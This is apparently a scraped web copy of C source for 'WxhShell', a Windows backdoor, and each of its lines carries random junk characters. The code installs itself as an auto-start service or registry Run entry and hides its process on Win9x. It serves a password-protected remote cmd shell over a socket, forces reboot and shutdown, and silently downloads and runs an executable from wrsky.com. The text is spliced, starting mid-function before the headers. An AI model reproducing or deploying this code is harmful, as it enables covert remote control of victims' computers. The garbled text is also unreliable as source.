  // 关机 X #&(~1O  
  case 'd': { w 7Cne%J8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >xk lt"*U,  
    if(Boot(SHUTDOWN)) suzFcLxo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =CWc`  
    else { bN]\K/  
    closesocket(wsh); tWcizj;?wK  
    ExitThread(0); ^ sS>Mts  
    } w{RNv%hJ$=  
    break; q/A/3/  
    } O 0Vn";Q 4  
  // 获取shell dBsRm{aS  
  case 's': { *sjj"^'=  
    CmdShell(wsh); HI}pX{.\  
    closesocket(wsh); Z3OZPxm  
    ExitThread(0); ,xm;JXJ  
    break; )-MA!\=<  
  } 9Ilfv  
  // 退出 M-{b  
  case 'x': { ,w,ENU0~f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &8pCHGmV)  
    CloseIt(wsh); cdd P T  
    break; 5cPSv?x^F@  
    } z4 GN8:~x  
  // 离开 nh _DEPMq  
  case 'q': { Gw{Gt]liq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F<6KaZ|  
    closesocket(wsh); &*Q|d*CP  
    WSACleanup(); yg]suU<z]  
    exit(1); lCM6T;2ID  
    break; |!?2OTY  
        } )->-~E}p9  
  } O|A~dj `  
  } Y\ #.EVz  
`I]1l MJ)o  
  // 提示信息 ?$>u!V<'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L,s|gt v  
} s!8J.hD'I  
  } W}#QKZ)MB  
G%V=idU*"  
  return; EuR!yD  
} 1puEP *P  
;oN{I@}k  
// shell模块句柄 _ Yb Eo+  
int CmdShell(SOCKET sock) #u}v7{4  
{ .0 R/'!e  
STARTUPINFO si; Pn'QOVy  
ZeroMemory(&si,sizeof(si)); DTX/3EN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "1gk-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2?#y |/  
PROCESS_INFORMATION ProcessInfo; M"$jpBN*  
char cmdline[]="cmd";  [%gK^Zt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3{N p 9y.  
  return 0; rf1wS*uU+  
} (%ri#r  
r'mnkg2,  
// 自身启动模式 ,d9%Ce.$2  
int StartFromService(void) 1C5kS[!  
{ qaCi)f!Dl  
typedef struct rR),~ @]sL  
{ eR#gG^o8  
  DWORD ExitStatus; ?3B t ;<^  
  DWORD PebBaseAddress; a<a&6 3  
  DWORD AffinityMask; Lz#$_Am'H  
  DWORD BasePriority; e')&ODQ H  
  ULONG UniqueProcessId; nN_94 ZqS<  
  ULONG InheritedFromUniqueProcessId; }`+^|1  
}   PROCESS_BASIC_INFORMATION; Ee$" O 6*!  
[0**&.obz  
PROCNTQSIP NtQueryInformationProcess; S<2CG)K[  
{WM&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3isXgp8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wB1-|= K1  
bJG!)3cx  
  HANDLE             hProcess; b]tA2~e  
  PROCESS_BASIC_INFORMATION pbi; n]6}yJJo  
@4 Os?_gJ\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E7Gi6w~\  
  if(NULL == hInst ) return 0; %>I?'y^  
c'TiWZP~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y*5@|Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M&}oat*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _Vk,&'  
HwV gT"  
  if (!NtQueryInformationProcess) return 0; ^w&5@3d  
O3<Y_I^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eaYkYuS/  
  if(!hProcess) return 0; ^J#*n;OQ3A  
Ht=6P)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m_r@t*  
k^'d@1z;C  
  CloseHandle(hProcess); gN!E*@7  
+hyWo]nW0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yp^[]Mz=  
if(hProcess==NULL) return 0; 2RSHB o  
1"4nmw}  
HMODULE hMod; Z)6nu)  
char procName[255]; 5b{yA~ty  
unsigned long cbNeeded; gn[$;*932z  
 n_xa)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <De3mZb  
cciAMQhA  
  CloseHandle(hProcess); @3expC  
5.C[)`_  
if(strstr(procName,"services")) return 1; // 以服务启动 YjIED,eRv  
:y O,  
  return 0; // 注册表启动 ==e#CSJq  
} X,JWLS J  
0,L$x*Nj5  
// 主模块 g qJEJ~  
int StartWxhshell(LPSTR lpCmdLine) K#6`LL m  
{ x>8}|ou  
  SOCKET wsl; \{+nXn  
BOOL val=TRUE; UVoLHd  
  int port=0; 3 q.[-.q  
  struct sockaddr_in door; .olP m3MC  
1$3XKw'  
  if(wscfg.ws_autoins) Install(); faL^=CAe  
S\{^LVXTMd  
port=atoi(lpCmdLine); ~d#;r5>  
Y+"hu2aPkY  
if(port<=0) port=wscfg.ws_port; )o'U0rAx|a  
&"H<+>`  
  WSADATA data; x9o^9QJh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xJH9qc ME  
-Y jv&5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0@mX4.!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l~Wk07r3  
  door.sin_family = AF_INET; yZ(Nv $[5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yK>0[6l  
  door.sin_port = htons(port); q:~`7I  
}96/: ;:k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2t`9_zqLw  
closesocket(wsl); M;vlQ"Yl'  
return 1; amk42  
} ,TfI  
{,-5k.P[  
  if(listen(wsl,2) == INVALID_SOCKET) { < jocfTBk  
closesocket(wsl); .^`a6>EQ)|  
return 1; ,d [b"]Zy  
} O3w_vm'  
  Wxhshell(wsl); /YugQ.>| l  
  WSACleanup(); }Cq9{0by?a  
:'=~/GR  
return 0; @<w9fzi  
vA7jZw  
} A2O_pbQti  
"TH-A6v1  
// 以NT服务方式启动 9snyX7/!L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '__3[D  
{ ZNH*[[Pf  
DWORD   status = 0; RzY`^A6G6  
  DWORD   specificError = 0xfffffff; NV:XPw/  
 eS@!\H x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m9<[bEO<$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hZ\W ?r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9bcyPN  
  serviceStatus.dwWin32ExitCode     = 0; E[Ws} n.  
  serviceStatus.dwServiceSpecificExitCode = 0; fF-\TW  
  serviceStatus.dwCheckPoint       = 0; #+ lq7HJ1  
  serviceStatus.dwWaitHint       = 0; Sc"4%L  
vL=--#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D@b<}J>0'  
  if (hServiceStatusHandle==0) return; T~~$=vP9  
`Py= ?[cD  
status = GetLastError(); 3_eml\CY  
  if (status!=NO_ERROR) ?D^,K`wY=B  
{ Xx<&6 4W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <QoE_z`76  
    serviceStatus.dwCheckPoint       = 0; 7%"\DLA  
    serviceStatus.dwWaitHint       = 0; uSQ>oi]  
    serviceStatus.dwWin32ExitCode     = status; :mtw}H 'F8  
    serviceStatus.dwServiceSpecificExitCode = specificError; t>h i$NX{p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [?f.0q  
    return; g /@yK  
  } UG?C=Tf  
5@Lxbe( q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0) Um W{  
  serviceStatus.dwCheckPoint       = 0; VU0tyj$  
  serviceStatus.dwWaitHint       = 0; .]ZuG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); acju!,G  
} Py25k 0j!  
c'Tu,-  
// 处理NT服务事件,比如:启动、停止 7D~O/#dcc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =5=Vm[  
{  jnKM6%z  
switch(fdwControl) ch8w'  
{ uj1E* 98m  
case SERVICE_CONTROL_STOP: @G$<6CG\  
  serviceStatus.dwWin32ExitCode = 0; 3;l>x/amk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .s*EV!SE  
  serviceStatus.dwCheckPoint   = 0; #m$%S%s  
  serviceStatus.dwWaitHint     = 0; K,,@',  
  { ,JBw$ C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  T[[  
  } 8OtUY}R  
  return; WT!\X["FI$  
case SERVICE_CONTROL_PAUSE: &MQt2aL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *u4X<oBS*  
  break; kRXg."b(  
case SERVICE_CONTROL_CONTINUE: ~$ qJw?r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |>}0? '/]  
  break; WKJL< D ]:  
case SERVICE_CONTROL_INTERROGATE: }nY^T&?`  
  break; f]A6Mx6  
}; ST8/ ;S#c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `"b7y(M  
} ]j$p_s>  
GV@E<dg$R  
// 标准应用程序主函数 <^'+ ]?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jhbH6=f4]^  
{ {2clOUi  
_,0!ZP-  
// 获取操作系统版本 @N_H]6z4  
OsIsNt=GetOsVer(); od's1'c R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x)wt.T?eL  
~)8i5p;P/k  
  // 从命令行安装 2hC$"Dfp  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,p`b Wm  
R}6la.mQ  
  // 下载执行文件 v4##(~Tu  
if(wscfg.ws_downexe) { n_&)VF#n(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %s :  
  WinExec(wscfg.ws_filenam,SW_HIDE); A-Pwi.$  
} NEou2y+}  
qVe6RpS  
if(!OsIsNt) { vMdhNOU  
// 如果时win9x,隐藏进程并且设置为注册表启动 Lz{T8yvZ  
HideProc(); 2&K|~~  
StartWxhshell(lpCmdLine); P:-/3  
} 7Z~szD  
else :h^UC~[h 3  
  if(StartFromService()) '*;eFnmvs:  
  // 以服务方式启动 |{IU<o x  
  StartServiceCtrlDispatcher(DispatchTable); u2O^3r G-  
else `b`52b\6S  
  // 普通方式启动 c%/&@vs7  
  StartWxhshell(lpCmdLine); C^=gZ 6m  
& O\!!1%  
return 0; 0@x$Cp  
} [K@!JY  
~)IJE+e>}  
WJ4UJdf'  
@%G"i:HZ&  
=========================================== `/ReJj&~  
uWtS83i  
2pNJWYW"  
)bU")  
fvMhq:Bu  
 KP-z  
" IeI% X\G  
NWwtq&pz2  
#include <stdio.h> 0Ilvr]1a4  
#include <string.h> [Q_| 6Di  
#include <windows.h> Ul0<Zxv  
#include <winsock2.h> UZ3Aq12U}a  
#include <winsvc.h> \bA'Furp  
#include <urlmon.h> d]~1.i  
j?hyN@ns  
#pragma comment (lib, "Ws2_32.lib") pz}hh^]t  
#pragma comment (lib, "urlmon.lib") tUF]f6  
1gej$G@  
#define MAX_USER   100 // 最大客户端连接数 J7^T!7V.  
#define BUF_SOCK   200 // sock buffer xQ 3u  
#define KEY_BUFF   255 // 输入 buffer U9sub6w6  
'?GZ"C2  
#define REBOOT     0   // 重启 @5VZ   
#define SHUTDOWN   1   // 关机 kGiw?~t=%  
A2_3zrE  
#define DEF_PORT   5000 // 监听端口 8B+^vF   
3v+}YT{>b  
#define REG_LEN     16   // 注册表键长度 Mf13@XEo  
#define SVC_LEN     80   // NT服务名长度 K2`WcEe  
<U`Nb) &  
// 从dll定义API %)ov,p |  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WREGRy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (`/i1#nR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z@O e}\.$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6v)eM=   
^F9zS `Yz2  
// wxhshell配置信息 @7 HBXP  
struct WSCFG { \J&#C(pn  
  int ws_port;         // 监听端口 zn$ Ld,  
  char ws_passstr[REG_LEN]; // 口令  Jiylrf`o  
  int ws_autoins;       // 安装标记, 1=yes 0=no *<QL[qyV  
  char ws_regname[REG_LEN]; // 注册表键名 9sU,.T  
  char ws_svcname[REG_LEN]; // 服务名 &n kGdHX/a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  2_v+q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H1i4_T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %-po6Vf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3zF7V:XH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C)}LV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g7f%(W 2dd  
D|'Z c &  
}; jt?%03iuk  
_'dy$.g  
// default Wxhshell configuration a3IB, dr5P  
struct WSCFG wscfg={DEF_PORT, ^@"f%3  
    "xuhuanlingzhe", D ,^ U%<`  
    1, O'U,|A  
    "Wxhshell", ys6"Q[B  
    "Wxhshell", cty#@?"e  
            "WxhShell Service", g]JI}O*5  
    "Wrsky Windows CmdShell Service", {\Y,UANZ  
    "Please Input Your Password: ", B#n}y  
  1, #wuE30d  
  "http://www.wrsky.com/wxhshell.exe", g~u!,Zc  
  "Wxhshell.exe" *X5LyO3-gP  
    }; |q)Q <%VS'  
A~SSu.L@  
// 消息定义模块 x l=|]8w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )PNk O3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 90D.G_45  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X]%4QIeS  
char *msg_ws_ext="\n\rExit."; o;/F=Zp  
char *msg_ws_end="\n\rQuit."; :8T@96]P  
char *msg_ws_boot="\n\rReboot..."; U<byR!qLie  
char *msg_ws_poff="\n\rShutdown..."; (7!(e  ,  
char *msg_ws_down="\n\rSave to "; vG:,oB}  
v3#47F)  
char *msg_ws_err="\n\rErr!"; vjS7nR"T  
char *msg_ws_ok="\n\rOK!"; g&5VorGx  
0k]N%!U  
char ExeFile[MAX_PATH]; sRI8znus  
int nUser = 0; `P*j~ZLlXN  
HANDLE handles[MAX_USER]; /^ 7 9|$E  
int OsIsNt; kIo?<=F8T  
e$I:[>  
SERVICE_STATUS       serviceStatus; 3e1"5~?'<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )+R3C%  
HXo'^^}q;  
// 函数声明 5|z[%x~f  
int Install(void); lR^Qm|  
int Uninstall(void); 6 VDF@V$E  
int DownloadFile(char *sURL, SOCKET wsh); 'o9V0#$!  
int Boot(int flag); Y :BrAa[  
void HideProc(void); K 2v)"|T)  
int GetOsVer(void); {a%cU[q  
int Wxhshell(SOCKET wsl); FQ^uX]<3j  
void TalkWithClient(void *cs); ^S$w,  
int CmdShell(SOCKET sock); 5OE?;PJ(  
int StartFromService(void); :7*\|2zA  
int StartWxhshell(LPSTR lpCmdLine); r${a S@F  
^r$5];n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $yJfAR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ga%77t|jm3  
CKgyv%T5m:  
// 数据结构和表定义 wu'60po  
SERVICE_TABLE_ENTRY DispatchTable[] = izA3INT  
{ ZH :X 4!  
{wscfg.ws_svcname, NTServiceMain}, UQr+\ u  
{NULL, NULL} I !~Omr@P  
}; 6h8NrjX  
a)b@en;v  
// 自我安装 mAKi%)  
int Install(void) A(5? ci  
{ qpCi61lTDJ  
  char svExeFile[MAX_PATH]; vi|ASA{V  
  HKEY key; U {v_0\ES  
  strcpy(svExeFile,ExeFile); Gu=bPQOj  
{'[1I_3  
// 如果是win9x系统,修改注册表设为自启动 L}nc'smvM  
if(!OsIsNt) { '(*D3ysU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a[De  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YSmz)YfX9  
  RegCloseKey(key); ~o$=(EC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cFQa~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *x!5I$~J  
  RegCloseKey(key); I}x*AM 7+  
  return 0; B$j,:^  
    } =r8(9:F!  
  } q ~lW  
} <u\G&cd_tA  
else { Z O^ +KE"  
-B!pg7>'##  
// 如果是NT以上系统,安装为系统服务 '@bA_F(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u:|5jF  
if (schSCManager!=0) z /=v@@tj  
{ G#>X~qk()  
  SC_HANDLE schService = CreateService hBw~l?G  
  ( __[q`  
  schSCManager, M"V@>E\L  
  wscfg.ws_svcname, >LSA?dy!?  
  wscfg.ws_svcdisp, 52,a5TVG  
  SERVICE_ALL_ACCESS, 7 5u*ZMK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !bg3  
  SERVICE_AUTO_START, glpdYg *  
  SERVICE_ERROR_NORMAL, HIAd"}^  
  svExeFile, &gfQZxT  
  NULL, ~x+w@4)a>  
  NULL, HN! l-z  
  NULL, h&{pMmS3,  
  NULL, w,7 GC5j\  
  NULL umeb&\:8S-  
  ); Oh: -Y]m=  
  if (schService!=0) _{aVm&^kA  
  { gg9W7%t/  
  CloseServiceHandle(schService); }sZ]SE  
  CloseServiceHandle(schSCManager); /k,p]/e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t z{]H9  
  strcat(svExeFile,wscfg.ws_svcname); ) AIZE?oX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -rfO"D>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V !$m{)Y  
  RegCloseKey(key); i%iU_`  
  return 0; 0=iJT4IEJ  
    }  W~4|Z=f  
  } KpL82  
  CloseServiceHandle(schSCManager); xXtDGP  
} ^B/{  
} rRW&29A  
&wfM:a/c  
return 1; |V& k1{V  
} .:0nK bW  
Z3d&I]Tf  
// 自我卸载 f]4gDmn^  
int Uninstall(void)  E=E  
{ /T@lHxX  
  HKEY key; d=pq+  
sC j3h  
if(!OsIsNt) { T&%>/7I>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -T>`PJpJuL  
  RegDeleteValue(key,wscfg.ws_regname); Z.<B>MD8^  
  RegCloseKey(key); MX34qJ9k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H>B:jJf  
  RegDeleteValue(key,wscfg.ws_regname); sXUM,h8$!+  
  RegCloseKey(key); -mXEbsm  
  return 0; %`~8j H@  
  } 1JM~Ls%Z  
} C`ok{SNtUy  
} %<klz)!t  
else { 9Y(<W_{/  
lk}x;4]Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CH2o[&  
if (schSCManager!=0) Msf yI B  
{ R~b$7jpd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :V [vE h  
  if (schService!=0) X qh+  
  { [|3 %~s|Sv  
  if(DeleteService(schService)!=0) { v1: 5 r  
  CloseServiceHandle(schService); I;7VX5X  
  CloseServiceHandle(schSCManager); 1+]e?  
  return 0; B:l(`G  
  } @"6BvGU2s  
  CloseServiceHandle(schService); c{[d@jt O  
  } pq@ad\8  
  CloseServiceHandle(schSCManager); opBv x>S  
} +VJl#sc/;  
} qdOS=7]W  
W[YtNL;  
return 1; czj[U|eB}=  
} S7V;sR"V2  
tY7u\Y;^  
// 从指定url下载文件 3 . @W.GG8  
int DownloadFile(char *sURL, SOCKET wsh) ?#W>^Za=  
{ OAv/P|n=  
  HRESULT hr; u3q!te  
char seps[]= "/"; >0>M@s  
char *token; ' =oV  
char *file; nX   
char myURL[MAX_PATH]; 1{A 4_/R  
char myFILE[MAX_PATH]; YpiSH(70`  
*e^ ZH  
strcpy(myURL,sURL); 5K8\hoW{  
  token=strtok(myURL,seps); a+Q)~13  
  while(token!=NULL) +q3W t|  
  { .AKx8=f  
    file=token; 7JujU.&{6  
  token=strtok(NULL,seps); !a0HF p$9  
  } 8gZ5D  
 W?.Y%wc0  
GetCurrentDirectory(MAX_PATH,myFILE); }JI5,d  
strcat(myFILE, "\\"); LnBkd:>}  
strcat(myFILE, file); p 0-\G6  
  send(wsh,myFILE,strlen(myFILE),0); qoEOM%dAqV  
send(wsh,"...",3,0); (A1!)c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }ts?ZR^V,  
  if(hr==S_OK) 7UMsKE-  
return 0; e Q0bx&  
else ?L_#AdK  
return 1; *FO']D  
~Su>^T(?-  
} $BG9<:p  
,Qp58u2V  
// 系统电源模块 nwz}&nR  
int Boot(int flag) 1 }:k w  
{ hj-M #a  
  HANDLE hToken; Z#9{1sHEP  
  TOKEN_PRIVILEGES tkp; ]E`DG  
}O_6wi  
  if(OsIsNt) { ,"DkMK4%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8,%y`tUn>u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z2-=fIr.h  
    tkp.PrivilegeCount = 1; @~zhAU!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }UX>O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JBuorc  
if(flag==REBOOT) { !I:6L7HdwB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gbo{Zgf<  
  return 0; !j\  yt  
} ?vvjwys@  
else { "ibKi=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _c`Gxt%  
  return 0; P4s:wuJ^  
} 64[j:t=N  
  } 7pkc*@t  
  else { n`CmbM@@  
if(flag==REBOOT) { :I1bGa&I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w)hJ0k  
  return 0; j'~xe3j  
} ^5xY&1j  
else { P[^!Uq[0n7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N@*v'MEko%  
  return 0; 7kleBDDT  
} x_#yH3kJ  
} |rsu+0Mtz  
#t9&X8:U  
return 1; IA''-+9  
} :  wb\N'b  
O(CUwk  
// win9x进程隐藏模块 1#XMUbFc  
void HideProc(void) )KkA<O}f  
{ DLf6D | "  
%]d^B |  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  8DyE  
  if ( hKernel != NULL ) 0YW<>Y`6  
  { .{~ygHQ`f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C#;}U51:t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  :;rd!)5  
    FreeLibrary(hKernel); u2o6EU`  
  } :*Sl\:_X)  
%WdAI,  
return; ar R)]gk 7  
} RfFeAg,]/  
. [*6W.X  
// 获取操作系统版本 i yMIP~N,$  
int GetOsVer(void) P 3);R>j  
{ D L<r2h  
  OSVERSIONINFO winfo; yG{'hx6H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >|mmJ4T  
  GetVersionEx(&winfo); .z)&#2E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'd'*4 )]k  
  return 1; E2 #XXc  
  else XP~4jOL]  
  return 0; s:,BcVLx^  
} Y[@$1{YS  
NmVc2V]I  
// 客户端句柄模块 mam|aRzd  
int Wxhshell(SOCKET wsl) rC$ckug  
{ `UGHk*DL)  
  SOCKET wsh; OV^) N  
  struct sockaddr_in client; t d-EB&i\  
  DWORD myID; N'3Vt8o,  
@<r  ;>G  
  while(nUser<MAX_USER) L:j;;9Sp{  
{  E*i <P  
  int nSize=sizeof(client); AI/xOd!a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9Iy>oV  
  if(wsh==INVALID_SOCKET) return 1; h{qB\aK  
l '<gkwX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @'jC>BS8`  
if(handles[nUser]==0) !Zlvz%X  
  closesocket(wsh); ;y Wfb|!  
else ){ArZjG>  
  nUser++; [$ vAjP  
  } ESL(Mf'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  UcKpid  
I~gU3(  
  return 0; 7J.alV4`/  
} !*'uPw:l2  
Sc`W'q^X  
// 关闭 socket Si.3Je[q  
void CloseIt(SOCKET wsh) Tz:mj  
{ rq:R6e  
closesocket(wsh); /2tgxm$}  
nUser--; Xq` '^)  
ExitThread(0); cEhwv0f!qS  
} 2a 3i]e5Kt  
UW8 8JA0  
// 客户端请求句柄 $ nx&(V  
void TalkWithClient(void *cs) IhhB^E|  
{ IJhJfr0)Oo  
E}00y%@*J  
  SOCKET wsh=(SOCKET)cs; cL?FloPc*  
  char pwd[SVC_LEN]; ag+$qU  
  char cmd[KEY_BUFF]; oEGe y8?  
char chr[1]; gR )xw)!  
int i,j; ~kj1L@gy   
W4Tuc:X5  
  while (nUser < MAX_USER) { ]SA]{id+  
4U( W~O  
if(wscfg.ws_passstr) { UMuRB>ey  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0L9z[2sj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hWP$U  
  //ZeroMemory(pwd,KEY_BUFF); k}(C.`.  
      i=0; QI0d:7!W1  
  while(i<SVC_LEN) { "d^hY}Xx  
E %FCOKw_  
  // 设置超时 8*k#T\  
  fd_set FdRead; -U`]/  
  struct timeval TimeOut; >j%HVRW  
  FD_ZERO(&FdRead); 2WE_NEpJI  
  FD_SET(wsh,&FdRead); KU|dw^Yk  
  TimeOut.tv_sec=8; sL[&y'+  
  TimeOut.tv_usec=0; 1\X1G>60m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WPPz/c|j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MdV-;uf  
:7 Ro9z8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N<}{oIsZ+  
  pwd=chr[0]; -]C3_ve  
  if(chr[0]==0xd || chr[0]==0xa) { -|"W|K?nq  
  pwd=0; &-mPj82R  
  break; mI_ ?hl?Pv  
  } iaPrkMhd  
  i++; wi-O}*O   
    } zUF%`CR  
?j6?KR@#  
  // 如果是非法用户,关闭 socket yj13>"nh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?`#)JG,A7  
} # xx{}g]%  
t2Q40' `  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sN]O]qYXJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >AX&PMb`  
_BHR ?I[w  
while(1) { bKRz=$P?  
65X$k]x  
  ZeroMemory(cmd,KEY_BUFF); !#wd~: H  
x%Ivd  
      // 自动支持客户端 telnet标准   ~<!b}Hv  
  j=0; 5Arx"=c  
  while(j<KEY_BUFF) { \3a(8Em  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'mx_]b^O  
  cmd[j]=chr[0]; U{6i5;F#H  
  if(chr[0]==0xa || chr[0]==0xd) { aZ"9)RJe  
  cmd[j]=0; Vj(}'h-c\  
  break; !*JE%t  
  } d}#G~O+y3v  
  j++; kq xX!  
    } 4Y2l]86  
4Qh\3UL~  
  // 下载文件 -b'93_ZTu:  
  if(strstr(cmd,"http://")) { XMzL\Edo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z\Qa6f!  
  if(DownloadFile(cmd,wsh)) ky*-THS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sz4)xJgF (  
  else 8#b>4 Dx  
